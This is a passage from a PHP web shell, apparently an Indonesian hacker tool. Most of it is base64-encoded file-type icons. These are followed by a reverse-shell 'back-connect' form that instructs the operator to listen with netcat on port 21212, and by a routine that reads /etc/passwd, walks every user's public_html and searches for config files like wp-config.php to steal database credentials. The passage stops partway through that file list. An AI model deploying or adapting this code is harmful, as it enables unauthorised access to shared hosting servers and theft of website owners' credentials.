"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
"AQEAOw==",
"sql_button_empty"=>
"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
"sql_button_insert"=>
"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
"up"=>
"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
"write"=>
"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
"ext_asp"=>
"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
"ext_mp3"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
"ext_avi"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
"ext_cgi"=>
"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
"RYtMAgEAOw==",
"ext_cmd"=>
"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
"dmrYAMn1onq/YKpjvEgAADs=",
"ext_cpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
"Eq7YrLDE7a4SADs=",
"ext_ini"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
"SnEjgPVarHEHgrB43JvszsQEADs=",
"ext_diz"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
"Ow==",
"ext_doc"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
"ext_exe"=>
"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
"xhIAOw==",
"ext_h"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
"Wq/NknbbSgAAOw==",
"ext_hpp"=>
"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
"UqUagnbLdZa+YFcCADs=",
"ext_htaccess"=>
"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
"AAA7",
"ext_html"=>
"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
"ADs=",
"ext_jpg"=>
"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
"FxEAOw==",
"ext_js"=>
"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
"a00AjYYBbc/o9HjNniUAADs=",
"ext_lnk"=>
"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
"ADs=",
"ext_log"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
"ext_php"=>
"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",
"ext_pl"=>
"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
"ext_swf"=>
"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
"ext_tar"=>
"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
$imgequals = array(
"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=>array("ext_html","ext_htm"),
"ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=>array("ext_lnk","ext_url"),
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
"ext_doc"=>array("ext_doc","ext_dot"),
"ext_js"=>array("ext_js","ext_vbs"),
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=>array("ext_wri","ext_rtf"),
"ext_swf"=>array("ext_swf","ext_fla"),
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img])) {$img = "small_unk";}
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
echo base64_decode($images[$img]);
}
else {
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
natsort($images);
$k = array_keys($images);
echo "<center>";
foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
echo "</center>";
}
exit;
}
if ($x == "konak") {
$ip = $_SERVER["REMOTE_ADDR"];
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo("<center><b>[†] b3k-k0n4k [†]</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=21212> Use: <select size=1 name=use><option value=Perl>PL</option></select> <input type=submit name=submit value=Connect></form>kalaian run dolo di console atw server kalaian <b>nc -lvp21212</b>, dan masukna ip sama portnya pd kedua kolom di atas. <b>baru kalian klik connectnya</b>'<br><br></center>");
echo("$msg");
echo("$emsg");
}
if ($x == "cP"){
if ($_GET['go'] == 'go'){
set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;
while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################
#########################
function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php')
or ($file=='configuration.php')
or ($file=='wp-config.php')
or ($file=='config.inc.php')
or ($file=='database.php')
or ($file=='conf.php')
or ($file=='settings.php')
or ($file=='setting.php')
or ($file=='inc.php')
or ($file=='corn.php')
or ($file=='configs.php')
or ($file=='konfig.php')
or ($file=='dbconf.php')
or ($file=='koneksi.php')
or ($file=='dbconfig.php')
or ($file=='db.inc.php')
or ($file=='db_connect.php')
or ($file=='dbconnect.php')
or ($file=='db-connect.php')
or ($file=='configure.php')
or ($file=='global.php')
or ($file=='connect.php')
or ($file=='db.php')
or ($file=='conf_db.php')
or ($file=='database.inc.php')
or ($file=='database.php')
